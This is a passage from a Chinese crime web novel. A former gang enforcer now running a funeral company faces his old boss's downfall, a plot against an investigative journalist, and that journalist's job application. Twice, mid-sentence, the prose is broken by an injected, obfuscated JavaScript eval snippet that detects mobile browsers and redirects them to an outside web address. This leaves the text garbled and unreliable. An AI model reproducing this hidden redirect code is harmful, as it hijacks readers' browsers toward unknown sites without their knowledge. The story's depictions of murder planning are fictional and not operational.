“干咱们这一行的,怎么就不能看新闻联播了,我可是每晚都看呢!就算是禽兽,也要吃饭,也要看新闻。”说着,梁先生递给他一杯咖啡。 咖啡闻着很香,喝着却很苦,他趁着梁先生不注意,将咖啡吐在了餐巾纸上。 “别吐,做我们这一行,摊上什么事,好的坏的见血的,都得硬扛着,你要学会把自己当成一个黑洞,吸纳一切。” 他吐到一半又咽了下去,问道:“咱还不够黑吗?” 梁先生轻轻一笑,“别以为你现在做的事很黑,阿冈,真正黑的事咱们可从未接触过!” 梁先生盯着电视机,笑意不减,意味不明。 “坏人从不觉得自己坏,都觉得坏的是别人。”他心道。 后来的很多年,他无数次回忆这个场景,才发觉那时梁先生的笑容充满恐惧,或许,他早就收到了风声,只是迟迟不敢确认。 很快,主持人插播了一条新闻,很短的一句话,几乎不能再缩减一个字了。 那时,他亲眼可见,梁先生紧握着咖啡杯,表情似乎很复杂:痛苦,恐惧,意料之中,悲伤,迷惘…… 他第一次见梁先生脸中能出现这么多的表情。 “先生,是出什么事了吗?” 很久很久,梁先生喃喃道:“昔年种柳,今看摇落。” “什么意思?”他似乎是没有听懂。 “倒了。” “什么倒了?”他继续追问。 “咱们的靠山的靠山的靠山,倒了。” “咱们的靠山是谁?” 梁先生苦笑一声:“从现在开始,你只需要记住,我的靠山的靠山的靠山,同时也是你的靠山的靠山的靠山的靠山,他倒台了,其他的,一个字都不要多问。” “那咱们以后怎么办?”他还是忍不住问下去。 “还能怎么办,凉拌,告诉兄弟们,以后夹着尾巴做人。”梁先生淡淡丢下一句话,扬长而去。 直觉告诉他,一定是出了很大的事,这是梁先生第一次未曾看完新闻联播便中途离场。 山雨欲来,一叶知秋。起先,是几个兄弟进去了,不同的是,这一次,他怎么捞也捞不出来。 他报告给梁先生,梁先生不仅不打电话联系上面,反而让手下把赌场和会所都给关了。 “那兄弟们以后怎么吃饭?” 梁先生罕见地大发雷霆:“先活着,再吃饭。这种蠢问题,以后自己解决,别都丢给我,我不是神,只手遮不了天。” 过了一会儿,梁先生似乎是意识到自己失态了,他整了整西装领结,将那套阿玛尼西装捋平。 “阿冈,你跟了我有几年了?” 他一时也想不起来,但还是立马答道:“从小时候捡垃圾时就跟着您了,具体是多少年,也想不起来了,反正,没有八年也有九年了。” 梁先生叹了口气:“八年还好,还不算太久,能回头。” “阿冈,你和你手下的人有什么一技之长吗?我是说,哪天你们要走上正经吃饭的路子,至少得先有饭碗。” 他想了很久,最后憋出了几个字:“梁先生,我们兄弟们没有文凭,只会处理第一现场。” “好。”梁先生点点头,“也好,我记得你们出手很利落,以后,可以干殡葬行业。” “可是殡葬业挣不了几个钱。”他有点急了,生怕梁先生见局势不妙一脚踹了他们。 “压榨员工,不择手段,坑蒙拐骗地拉客,紧缩成本,合理避税,这样做,不管在哪一行都能赚到钱。” “可是,我们兄弟们还是想跟着您干。” 他看到梁先生的眼神中闪过一丝怒意,便急忙改口:“是的,先生,我这就转达给兄弟们。” “这样才好,阿冈,回去告诉兄弟们,今后大家彼此不要再见面了,让他们也找些正经活干,化整为零,我再多扛个几年,兴许,上面就把你们给忘了。” “先生,现在真走到山穷水尽的地步吗?” 梁先生挥了一下手,他便知趣地退下了。 很快,其他的兄弟们陆陆续续赶来,又匆匆忙离开,他知道,这次真的到了山穷水尽弹尽粮绝的一步了。 可他不甘心,现在明明还是风平浪静,艳阳高照,人照在,路照走,先生,你为何要如此狠心地让兄弟们彼此割席??? 注册公司的时候,工作人员问他,新公司取什么名字? “寂生公司,寂寞的寂,生命的生。”这个世上,没人可以靠得住,每一个人都是孤独寂寞的。 “好名字,很有哲理,很适合殡葬行业。” 那是自然,这个名字可是他搜肠刮肚想了两天才想出来的。 起先,根本招不到人,没有人愿意踏进殡葬行业,租来的办公室,长久地吃灰。 等了好久,有一两个年轻人来投简历,他随口一问: “会处理尸体吗?” 年轻人吓得魂飞魄散,立马跑了。 他又搜肠刮肚想了好久,想出来了【遗物整理师】,【遗物清理师】,【遗物守护师】这几个华而不实的职业名。 这样文绉绉的名字,应该能吸引到人吧! 再后来,就是寻找客源的事了,依旧是漫长的等待,长久的付出,鲜少的回报。 习惯了杀伐决断,白刀子进红刀子出,真的很难适应这低效率的现代公司运营。 有时,谈客户出外勤时,会在路上遇到往日的兄弟们,大家很有默契地装不认识,故意不看对方,故意绕路走…… 彷佛是命运的嘲讽,他有时还会接到兄弟们的遗物清理单,写委托单的是当地的房东,死者正是他曾经并肩作战肝胆相照的兄弟。 房东絮絮叨叨地写道:这个人,整天无所事事,不好好找工作,也不知道怎么的,死在了出租屋,臭得很,拜托你们一定要用最好的除臭剂消毒液,该扔的就扔,该拆的就拆,把我的房子清理得干干净净,这样我好继续租出去。 他拒接了这笔单子。 员工受宠若惊,老板这是转性了,不见钱眼开了,体恤员工,不让咱干这单脏活累活了??? 他沉默地听着员工大呼万岁,努力想跟着笑一下,却发现,笑比哭还难看。 大厦将倾,人人自危,现实早已将他的血性全都抹去,他变得如履薄冰,小心翼翼,他甚至,不敢跟以前的好兄弟再扯上一丝丝联系。 他生怕黑暗中的无数双眼睛,发现他曾经是梁先生的心腹。 越是恐惧什么越是来什么,还是有兄弟找上了门。 “阿冈,我们想借助你的力量,找一个人。” “谁?” “一个记者,他过段时间要从国外回来了,他手里有着梁先生要命的把柄,他要是回来了,怕是梁先生得吃枪子。” “那个记者手里有我们的料吗?”他第一反应是自己的安危。 “没有,是梁先生跟上面的事,兄弟们具体也不清楚到底是怎么个事,但是据说很严重。” “你们想要我做什么?” “我们人手不够,需要你派些人严格盯着各个机场车站码头。” “可是,广撒网也不是办法。”他冷静地说出了自己的担忧。 “阿冈,兄弟们知道你不想蹚这浑水,你放心,你只需要派人盯着,等那记者一露面,你告诉兄弟们,剩下的,兄弟自会出手,不会耽误你的锦绣前程。” 他犹豫了。 对面的人立马就急眼了,“张大冈,别忘了,大家都在一条船上,你那些年干的脏事也不少,兄弟们可都记着呢!要死大不了就一起死。” 他恐惧了,赶紧答应下来,一荣俱荣,一损俱损,这个道理,亘古不变。 很快,整个寂生公司召开了一场内部大会,与会者需要将手机提前交出去,会议室还开了屏蔽器。 “接下来的一个月,你们要分班,倒班,严格在机场,车站,码头等蹲守,帮我找一个人,如果发现他的任何行踪,要第一时间报告给我。” 全场一片哗然,这,这是什么活?江湖通缉令吗? 会议场窃窃私语,不绝于耳。 他拿起话筒,“诸位安静。” “这是我的私人恩怨,请不要泄露。” 说罢,助理给每一位发了一份保密协议,违约金高达百万,这摆明是一份霸王条款。 “不签的话直接打印一份辞职报告,下午走人,签的话每人发三千块奖金,谁能找到我要的那个人的行踪,奖金再加五万。” 等到大家都签了保密协议,助理才把记者的照片发下去。 大家还是一脸不解,心道,老板这是在整什么幺蛾子? 眼见民意沸腾,他只得临时编出一个理由: “嗯,诸位,我怀疑照片里的这个人给我带了绿帽子,但是我不确定。” 会议室瞬间就炸开了锅,大家仿佛吃到了惊天巨瓜。 “至于这个事嘛,要是真的,自然是不能声张,会影响公司形象,要是假的,那更是不能声张,会影响我和我爱人之间的信任度。” “所以,我请诸位,一定不要轻举妄动,不管发生什么,都不要上前,更不要让人发现你们在找人跟踪人,切记,要不动声色,我只要这个人的行踪,其他的,你们千万不要插手。” “诸位,一定要小心再小心,因为这个人可能不止给一个老总戴绿帽子,所以,可能不止有一队人马在找他,你们千万要隐蔽行事,不要让别人发现你们。” 大家“哦——”的一声长音,脸上的表情是一个比一个丰富多彩。 他重重叹了口气,挥挥手散会。 很快,偌大的办公室就只剩他一人,他知道这次行动的后果意味着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621121|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,等待他的代价是什么。 抬望眼,他看了看这个空旷的办公室,从起公司名字都要想冥思苦想两天,到如今已初具规模的寂生公司,这一路走来,实属不易。 他在这个公司里投入太多心血,太多年华,可是,这一切,马上就要烟消云散了。 昔日共同长大的兄弟那极具威胁的眼神告诉他,有些事永远过不去。 几天后,机场那边就传来消息,有员工找到了那名记者,正密切跟踪着。 前方传来的位置信息和图片让他震惊,那家伙,居然不乔装改扮,不换车,不带安保,就这样大摇大摆地走出机场,堂而皇之地住进酒店。 他切实地感受到了梁先生的失势,换做几年前,就算借他十个胆,他怕是都不敢回国。 他亲自走到那家酒店,将员工们全部撤下,这一次,他要亲自监视。 生死存亡之间,任何犹豫都会坏了大事,他果断地将记者的具体位置信息发过去。 很快,那边收到回复:“阿冈,确定是那个人吗?” “我亲自出马,千真万确。” 发完消息后,他将备用手机扔进了马桶。 他静静地坐在酒店里,等待风暴到来。 世事无常,可那一晚,酒店却一如往常,风平浪静。 没有尖叫,没有开锁声,没有救护车的声音,什么都没有,第二天一早,那名记者下楼,吃早餐,游泳。 他慌了,赶紧跑去卫生间,蹲在马桶边,将手机捞了出来,幸运的是,手机卡在了吸水管那里,没有被冲下去。 他将里面的卡取出,用吹风机吹干,然后把它插进自己常用的手机里。 他忐忑不安地开机,打电话,询问发生了什么。 兄弟们说,行动之前,梁先生一个一个打电话给他们,让他们不要轻举妄动。 “可是,记者不死,梁先生必死无疑,这个时候不搏一搏,哪还有生机可言。”他急了。 “梁先生说了,成王败寇,早有定局,现在再怎么挣扎,都是无用功。” “什么定局,活着才是定局。你们不动手,我自己来。” 他准备好工具,结果,手机响了起来。 手机那边传来熟悉的声音,他一瞬间热泪盈眶: “阿冈,都当老板了怎么还是那么冲动。” “先生,现在是存亡之际,您一定要狠下心来。” “得得得,你现在长本事了,都敢指挥起我了。” “先生!” “无碍,其实我大概算了一下,进去也没啥大不了的,干我们这一行,这就是宿命。毕竟也呼风唤雨那么些年,这辈子值了。” “我不甘心,您这么个大人物,最后居然栽在这样的无名之辈手里。” “那我和你的看法恰恰相反,死在一个无知无畏的理想主义者手里,死得其所。” “可是?” 梁先生故作云淡风轻,特意用了一个轻松的语气: “别可是了!阿冈,我警告你啊,我现在进去还能有电视机看,你要是出手了,搞不好我连个电视都看不了,更别说放风了。那时候,才真叫生不如死。” “张大冈,你是个傻人。” 说罢,梁先生挂断电话。 “一鲸落,万物才能生,我不入地狱,你们哪有活路。”黑暗中,梁先生喃喃道。 一生一次就做了这么一件好事,够本了,没白来。 电话被挂断后,就再也打不通了,他无力地瘫倒在床边。 他感觉自己的灵魂正在被悲喜两极撕裂着。 坦白说,他内心是有一丝窃喜的,甚至可以说是欣喜若狂,梁先生自愿赴死,清算他的势力也不必再深究下去。 他得以独善其身,而寂生公司,也可平安躲过这场浩劫。 兄弟们也能重新开始生活,大家继续相忘于江湖。 可是,大脑里的另一个声音告诉他:“今天不动手,梁先生必死无疑。” 一想到这,他心如刀绞。 人心都是肉长的,哪怕尸山血海蹚过来的人,他也有心啊! 梁先生之于他,像君臣,也像是父子,在他心里,只要梁先生一声令下,哪怕是自己的妻子儿女,他也会不眨眼睛地下手。 他就这样在酒店躺了一天一夜,再次出门前,他整理好西装,打好发蜡,擦干净皮鞋,提着登机箱,大阔步离去。 外面的阳光很耀眼,刺得他想流泪。 他一路开车,不眠不休,跨越山海,来到了北方的辅仁大学。 他好想找一个人痛痛快快地打一架,他不想,只有自己这么痛苦。 时光荏苒,昔年最好的兄弟,如今摇身一变,已是人模狗样的中文系教授了。 他坐在最后一排,西装革履的样子与其他同学格格不入,因此,台上的教授一眼就认出了他,他们彼此心照不宣,他继续上课,他静静地听课。 这一节课好像是小说课,也是,那小子写了很多关于这一行的小说,轰动一时。 台下有学生举手提问:“老师您好,我读过你写的《沧浪浊流》和《长夜难明》,您写的小说总是那么直击灵魂,读起来很不一样,想问一下,是有什么特殊的写作技巧吗?” “这位同学,我想我写的小说和市面上众多小说不太一样的原因大概是,他们写的是故事,而我写的是人性。”他不好意思地笑了一下: “说实话,现在很少有作者愿意写人性。” 那位同学继续发问:“可是,我觉得我的思想很贫瘠,写不出来波澜壮阔的人性的东西。” “我觉得,以你们现在的年纪来说,不应该整天只坐在图书馆里闭门造车,有机会多出去走走,去医院看看生离死别,到车站看看人来人往,午后躺在学校的草坪上,看看阳光,闻闻草香,再不济,就去谈几场恋爱,写作的力量来源于心力,阅历,思考。” “就我自己的经历来说,我小时候是孤儿,没读过什么书,字也是后来慢慢认得几个。用沈从文的话来说,我一直在读一本社会上的大书,今天,这本书我也建议你们读一读。” “就拿吃饭来举例子吧!比如说,我见过有一位拾荒老人,他没钱买饭,每天就讨一碗米饭,拍一个自己种的蒜瓣,就这样,大蒜拌米饭,解决了一日三餐。” “再比如说,你们有注意到外卖员吃的饭吗?我见过,在一个城中村里,那里用荤素菜计费,米饭免费提供,很多上班族只打一碗米饭,但是有几个外卖员,他们一打就是一盆米饭。” “同学们,请注意,我说的是一盆,不是一碗两碗三碗,或许你们以为他们在浪费食物,恰恰相反,这些米饭他们都吃光了。” “我请同学们想象一下,一个人,每天要干多少体力活,爬多少栋楼,才能吃得下那么多米饭。” “那么,请再思考一下,那些城中村的菜,到底有多重油重盐,才能将那一盆米饭咽下去。” “这些东西,你不去体验,不去经历,是写不出来打动人心的作品。” “大学食堂的饭菜永远可口,图书馆的冷气永远吹得足,校园生活永远无忧无虑,但是人生,永远阴晴圆缺,充满遗憾。真正的人性,在那残山剩水支离破碎中。” 他坐在最后一排,听得出来,台上的教授心乱了,上课都是东一句西一句,怎么,是因为自己来了吗? 下课后,教授急匆匆找到了他。 “阿冈,你怎么来了,不是说好不见面吗?” “只是想来听听大名鼎鼎的谭教授的写作课,怎么,这偌大的学校,容不下一个旁听生?” “随时欢迎,我是说,你来之前应该先给我一个准备,刚刚可把我吓死了,我还以为出什么大事了。” “梁先生出事了。”他淡淡说道。 谭教授怔住了,他知道,像梁先生那种人物,一旦出事,便是死局。 “谭教授,这种剧情,是不是连你这个小说家都想不出来,先生在等待审判,文人在上课,商人在赚钱,谁还能想到,他们曾经,是一路人呢?” 教授怅然道:“怎么没有人跟我说呢?” “是啊,告诉你,然后你赶过去见先生最后一面,心里好过点,以后继续心安理得地当你的大教授,是这样吗?” 两人打了一架,之后,处理伤口的医务工作者暗自称奇,真是绝了,这俩,一个大学教授,一个公司老总,怎么下手如此狠绝。 是啊,本是同根生,怎么出手这么狠! 17.欠条 离职后,骆一梵没敢告诉妈妈,她依旧伪装成自己还在上班的样子每天给妈妈吐槽工作,蛐蛐同事,骂骂老板。 职场小剧场是一出接着一出,陈如茜女士听着可心疼了。 “哎呦我的梵宝,你受委屈了,实在不行,工作就辞了吧!以后妈妈养你。” “偷偷告诉你,上个月退休金又涨了一百一,妈妈养得起你,家里有房子,我自己做饭,咱娘俩一个月花不了几个钱。” 每每听到这些话,骆一梵心里就暗爽,差点说出自己早就离职的事实。 (哈哈哈,妈,我已经离职了,惊不惊喜!!!意不意外!!!) (不不不,沉住气,一定要沉住气,现在说不是找打吗?等到妈妈第60次劝我离职时,我再告诉她真相。) 闲着没事干,她决定给自己来一场gap旅行。 第一站去长沙,骆一梵大吃特吃,妈耶,这简直就是天堂,连酒店楼下随随便便的一个臭豆腐摊都比外地的好吃。 泪目了,真应该早点离职享受世界。 她在社交媒体上分享了各种美食打卡点,还有橘子洲头的合影。 真是特种兵行动,这几天几乎逛遍了所有景点,晚上,她打车来到了四方坪夜市。 期待有多大,失望就有多大,这是可以说的吗?大名鼎鼎的四方坪夜市还没酒店楼下的苍蝇馆子好吃。 “骆一梵小姐!” 谁,谁在叫我?骆一梵一脸惊恐地四处张望。 妈耶,该不会是遇到诈骗了吧! 只见来的人是一个中年男子,大眼睛,戴个眼镜,圆圆的脸。 “骆小姐,请等一下。”那名男子挥着手在夜市“翻山越岭”挤过来了。 “您好,请问您是?”幸好人多,骆一梵不是很害怕。 “我叫戴欲真。是《江南日报》的一名记者,是这样的,关于您半年前办理的梁家的案子,我有些事想向您咨询一下。” “我勒个去,这你都能找到我?” 记者很坦然地笑了笑:“骆小姐,要论找人找素材,我们这些头部记者可比警方效率高。” 骆一梵后背发凉,发誓以后再也不在小红书上分享日常了。 “那我怎么知道你是好人还是坏人?” “骆小姐,你不认识我没关系,可你应该知道梁修身。他是我亲手给送进去的。” 骆一梵赶紧打开手机搜一下这个案子,果不其然,还真是他。 “卧槽,戴记者,网上人都说你是S城的蝙蝠侠啊!”骆一梵满脸钦佩地望着他。 戴欲真苦笑一下,面对夸奖,他反而无奈: “这世上要真有蝙蝠侠就好了!我花了将近二十年,才把他送进去。现在想想看,我不过是在一棵参天大树旁修修枝芽,剪掉了几片叶子而已。” 怎么又有一种听君一席话,如听一席话的感觉? “那你找我有什么事?” “我想要回梁先生的遗物。” 什么?你把他送进去了,你还要他的遗物??? 察觉到骆一梵的疑惑,戴欲真解释道: “是这样的,我相信,他死之前,想方设法留了一份遗物给我。” “你确定他留的东西是给你的?”骆一梵不得不叹服男人的自信。 “我十分确信,否则他为什么要拐弯抹角找一个遗物守护师,为什么在牢里受尽折磨还要坚持委托外面的人替他办这件事?” 有那么一瞬间,骆一梵似乎真的被说服了。 “骆小姐,请你把那份名单给我吧!”戴欲真略带恳求地说道。 刚刚建立起的一丝丝信任瞬间烟消云散。 “名单,什么名单?戴记者,您想象力很丰富,但现实是,他什么都没给我,委托费还是0元!” “骆小姐,我很确定,这半年来,我查了很多事,也找过梁家人,每一步,都让我更加确信,名单在你这。” “什么名单,我压根就没见过有什么名单。” 此刻,熙熙攘攘的人流,小摊上的烟火气,蒸腾的热气,沸腾的炸油,整个四方坪夜市加起来,都没有戴欲真的眼神炽热。 他急切地说:“骆小姐,您再好好想想,一定有一份名单。梁修身是进去了,可是他背后的那些保护伞还都好好的,他生前答应过我会留下一份名单给后人。” “骆小姐,我不知道梁修身委托了你什么。但我知道,梁修身只是那群势力所显现的冰山一角,而那块巨大的冰山依旧潜伏在水面之下,安然无恙。” 戴欲真眼眶含泪,骆一梵以为他被烟熏到了,就带他往边上走走。 “戴记者,不是我不想给你,可我真没有名单,我只有一沓欠条。” 说话之间,骆一梵突然意识到,那么厚的一沓欠条,如果把名字单拎出来,好像也是很长的一串名单。 “那沓欠条在哪?”戴欲真欣喜若狂。 嗯,嗯,在哪呢?骆一梵有点心虚: “其实,这些是警察叔叔该做的事情,您为什么要干这些吃力不讨好的事,戴记者,不是我说,你要是把这份精力用在当明星狗仔上,早就日入208万了。” “因为我爱这片土地。” “可我是遗物守护师,我答应了梁先生,一定要好好守护他的遗物。” “但是你离职了,骆小姐,你现在已经不是遗物守护师了。” 骆一梵无话可说,只得实话实说了:“我,我,忘了放哪了,不过我保证一定还在公司,我肯定没丢。” “骆小姐,您别紧张,谢谢你告诉我名单的下落,有了这个大致范围我就可以慢慢找了,非常感谢您的帮助。” 戴记者的语气温柔而又坚定,不禁让骆一梵怀疑,这世上,好人还没绝种?居然还能活到四十多岁? “你既然要找名单,为什么不早点联系我,没准早几个月我还能想起来欠条放哪了。”骆一梵浑身都是理。 “是这样的,之前我一直怀疑你是梁修身的人。” “什么,我?就我?”骆一梵指了指自己,一脸不可置信。 “因为以我对梁修身的了解,他一定会把名单交到自己绝对信任的人手上。” 骆一梵觉得他说的好像有点道理,是啊,为什么要交给我呢? “可是我查过,你和他毫无关联,梁家呼风唤雨的时候,你还在上幼儿园,梁家式微的时候,你大学还没毕业,根本就没踏出社会。你不可能在他手下办过事。” “有一段时间,我怀疑过你可能是他的私生女。” 戴记者分析的时候,眼神清明无畏,骆一梵一脸无语。 “我查过你的养母和生父母,这些打消了我的疑虑。你是一个很孝顺的女孩,你的养母也很爱你。和你最有交集的好朋友早就去世了,而你的老板也只是个见钱眼开的人。所以,我也不知道梁修身为什么选中你。” (原来好人也不尊重别人的隐私!!!)骆一梵翻了个大大的白眼。 “可能他真的无人可找了吧!0元的委托费,除了我,他还能找谁?整个公司,也就我好欺负!” “对了,你有查过梁修身为什么是我们公司的高级VIP顾客吗?”一提钱,骆一梵立刻就想起了这件事。 “有一段时间,梁家莫名其妙失踪了很多人,梁修身花了一大笔钱请你老板找那些人的下落,活要见人,死要见尸。” “然后呢?” “死而见尸。” “卧槽!!!”骆一梵都有点同情梁修身了。 “那段时间我在国外,具体的情况不是很清楚。” 虽然戴记者说得不多,但骆一梵可以想象到,这条路有多血雨腥风,大脑自动播放起《孤勇者》的bgm。 骆一梵犹豫了下,还是忍不住劝劝戴欲真。 “戴记者,我知道你很高尚,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645490|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有好人卡的话我一定全发给你。但我还是希望你别再查下去了。” “自从当了牛马后,我算是看明白了,整个社会就是有钱人和有背景的人的一个大型游乐园,我,你,还有很多普通人,说白了,只是这个游乐园里的NPC。” “大家嘴上一个比一个说得好听,心里全是生意和算计。你热爱的S城,表面上是宇宙中心,大都会,包容每一个打工人,有梦想的人。其实吧,S城才是阶级分化最明显的地方。” “刚刚听你说过,你在国外呆过,想必你家境也不错,说实话,你用这些钱旅旅游,吃吃饭,逛逛街,哪个不比干这个强?” 戴欲真耐心地解释:“我必须坦诚,你说的这种安逸生活我确实认真考虑过。我们新传行业,很多优秀的同行全都站在了我的对立面,他们现在的生活确实名利双收,如鱼得水。但这些事,总得有人去做。我一直觉得我所做的事是正确的,哪怕只有1%的把握。” “骆小姐,我希望你能成全我的人格。” “好吧,我们加个微信,你有什么事可以联系我,我要是知道一定告诉你。” 加完微信后,骆一梵拉着戴记者来到一处臭豆腐摊前。 “老板,我要两份臭豆腐,一份不要辣,加香菜。还有一份,对了,戴记者,你什么口味啊?我请客。” 戴记者还没回答,臭豆腐老板赶忙接上:“别急别急,等到你们了你们再点,说早了容易忘。” 戴记者直接推辞,他说今晚要赶高铁回S城,他急着找名单。 一眨眼功夫,他就消失在街头了。 骆一梵望着熙熙攘攘的人群,重重地叹了口气。 没一会儿,老板问道:“姑娘,你刚刚说要什么来着。” 骆一梵翻个白眼:“大叔,你怎么做生意的,怎么一点也不卷?我朋友现在已经走了。” 大叔一脸无辜:“要那么辛苦干嘛?每天累死累活一个月也就多挣一千块,攒的钱还不够治病的。姑娘,我们这小本生意,物极不反,再拼也没啥用。” 骆一梵赶紧呸呸呸:“大叔,瞎说什么呢?不许说不吉利话,哪怕只有1%的成功机会,都要去做,物极必反!只要大家一起坚持做对的事,结果一定是圆满的。” 大叔疑惑:???姑娘今天没吃药就出门了! “臭豆腐要辣吗?” “微辣,加香菜。” —————— 第二天,S城,寂生公司。 “老板,出大事了,那个人来了。”人事经理踩着高跟鞋慌慌张张跑到老板办公室。 “吴经理,你也是公司的老人了,怎么还这么横冲直撞,以后还怎么给员工做表率。”老板悠悠说道。 吴经理欲言又止,想开口也不知道该怎么开这个口。 “是审计的来了吗?” “那倒不是。” 这种事确实也不好说,吴经理想了想,决定还是从冰河时期说起吧,能多拖一会儿就多拖一会儿。 “是这样的,前几天,骆一梵离职了。” “嗯,离职了就招新人呗。” “是的,她一离职我们就发布了招聘启事,然后,今天就有一个人来应聘了。” “嗯。” “结果,他一来,有几个眼尖的老员工一眼就认出他了,他们赶紧报告给我,我偷偷去瞧了一下,还真跟照片上一模一样。” “一句话,再说不出人名,就滚出去。” “我也不知道他叫啥,不过老板,您肯定认识,您不是还说过他插足过您的婚姻?”吴经理越说越没有底气。 老板蹙眉,“谁插足过我的婚姻,你给我说清楚。” 突然,他像是想起什么,猛地站起来:“等等,你是说戴欲真来应聘了?” “他好像是叫这个名。”吴经理点点头。 话还未说完,老板已经火急火燎地赶往面试间。 18.面试 从办公室走到面试间,只需要五分钟时间。 在这五分钟时间里,张大冈仿佛把这辈子的事都想完了。 他已经发现自己的身份了吗? 不会的,自己早就金盆洗手了,所有的痕迹也早已被梁先生彻底抹去,他查不出来的。 他还想查什么,他还想知道什么,梁先生早就去世了,梁家也尘归尘,土归土了,他到底还要咬到什么时候? 他要是真发现了什么蛛丝马迹,那自己这些年的努力不就全打水漂了! 不行,一定要做了他。 可他刚查上寂生,转头就不明不白地死了,这个人的身份又如此敏感,这不摆明了告诉所有人他的死和公司脱不了干系。 怎么才能做得干净点?首先,绝对不能自己亲自动手,只能找外包。 听说,东南亚那批亡命之徒,只需要二十万,就能在这里买一条命,一条龙服务,干脆利落,完事之后马上坐船回国,条子根本抓不到。 不过,乌/克/兰最近在打仗,那边的行情已经低到5万了,还包括了机酒,似乎优惠很多。 其实钱倒不是问题,怕的是这些奸商,外包也找外包,层层中介,兜兜转转绕了一大圈最后还是made in China。 与其找他们,还不如找自家兄弟,专业过硬,讲义气,哪怕进去了也不会供出自己来。 “如果能请到启示堂的兄弟们出山,还真不知道怎么输。”一想到这,张大冈脸上闪过得意的微笑。 思虑周全后,张大冈自信地推开面试间的大门。 “都出去,这轮面试我亲自来。” 一众 hr 立马闪遁,面试间只剩下张大冈和戴欲真。 “戴记者,你不老老实实地在报社上班,跑来我们这干什么?” 戴欲真诧异:“哦,你认识我?” 张大冈幽微地笑了一下:“自梁家一案后,天下谁人不识君。怎么,英雄记者跑来了殡葬行,体验生活?” 戴欲真倒是很从容:“那件事后,我算是被业内软封杀了。凡我所写的新闻稿,都发不出去,我的记者职业生涯算是完了。” 这句话倒是实话,戴欲真的处境,是圈内公开的秘密,几乎所有的同行都痛恨他搞乱了新闻界。 “可有后悔过?” “不曾。” “为什么?” “那美好的仗我已经打过了,当跑的路我已经跑尽了,剩下的,便是安心受苦了。” 张大冈嘴角微弯,像是在嘲笑。戴欲真并不意外,这些年来,他见过太多冷眼,嘲笑,蔑视,早已习以为常了。 “你是基督徒?” “不是,确切地说,我是一个有信仰而无宗教的人。” “你信仰什么?” “公义。” 张大冈扬起一侧眉毛,觉得他没说实话。 “区区一个记者,怎么配谈社会公义?” “正是因为当过记者,能看见很多常人看不到的事,所以对公义有着特殊的感情。信仰的本质,其实是意识问题,所谓我相信,其实是我渴望。我渴望公义长存,我渴望好人一生平安,坏人绳之以法,我渴望机会公平,我渴望每个人都活得像一个人……” “你看见过什么?”张大冈打断了戴欲真的话。 “暴力,恐怖,舆论翻云覆雨,普通人命如草芥。最让我触目惊心的是,我亲眼见过他们挑选一批又一批未满14岁的孩子做追债人,用三和青年和癌症患者等弱势人群当背债人,让他们买房,用房套其他贷,继续定金买房,再让这些弱势群体卖掉手上的房,吸引到韭菜后一房多卖,套利走人。” “那些未成年人根本不理解自己是在做什么,但是他们出手是我见过最狠辣的,甚至比很多成年人都狠绝,天不怕地不怕,直接奔着人命去的,当然,他们也不在乎自己的生命。” “他们本该是读书的年纪,却被带进了社会的深渊,无知无畏,什么都敢干,没有任何底线,我有一位记者同事,就是死于他们刀下。” “为什么要选择当【遗物守护师】?”张大冈及时岔开话题。 “因为想当【遗物守护师】。” ………… “据我所知,这份工作的薪水只够付房租。”张大冈冷冷道。 “无碍,我在本地有房。” “你怎么能保证一定能给公司带来收益?” “当了那么多年记者,人脉,信息资源,这些最基本的东西还是能保证的,我想,你们公司缺的恰恰就是这两样东西。” “与其让这样的人躲在暗处调查,不如直接把他招进公司,一举一动都在自己的眼皮地下。”张大冈心道。 “你被录用了,明天来上班。”说完,张大冈头也不回地离开了面试间。 他快速回到自己的办公室,气愤地点上一根烟。 说实话,他平生最讨厌这群圣父了。明明一出生就什么都有了,偏偏喜欢做一个天真的理想主义者,站在自以为的道德制高点一脚踢翻别人的饭碗。 他觉得未满十四岁的人就应该好好在学校念书,走上正路,他哪里知道,这世上要是有路能走,还轮得着他指手画脚? 戴大记者,你高高在上,你又知道些什么? 一群孩子,孤苦无依,吃了上顿没下顿,没钱上学,流浪街头,找工作没人要,他们除了拿命去拼,还能拿什么和你们这群什么都不缺的人去拼? 他冷静下来,打开电脑,点击【科学上网】,输进去一个网址,在对话框输入: “Tai is diaocha-ing mypany” 等到下午他再次登录那个网址时,对话框已显示: “We no.” 张大纲皱着眉头,思考了一会,决定铤而走险给他们打电话。 他翻出了那个旧电话卡,照着记忆中的数字拨了过去。 电话那边传来疑惑:“不是在论坛上回复你了吗?怎么还打电话来啊?现在风声紧,你直接就打电话多不安全?” 他劈头盖脸地质问:“为什么要拒绝,当初不是说好不管怎样,大家都是一辈子的兄弟吗?” “没有拒绝啊,我们不是说我们知道了。放心,你的事兄弟们会上心,挂了挂了,再聊就容易定位到了。” 嘟嘟嘟…… 张大冈一头雾水,盯着对话框,好半天才反应过来。 或许,他们回复的原意是“We know”,no和know发音相近,所以,他们一直以为那个单词就是know的意思。 一想到这,他心里仿佛有口老血要喷出来了,tmd,哪个半吊子滥竽充数的道上混子写的网站,连个中文都输不进去。 兄弟们要是会英语,还会去混道上? 就这破技术,还能指望它能保证信息安全? 唯一的好消息就是启示堂的兄弟们肯接下这活了,他心 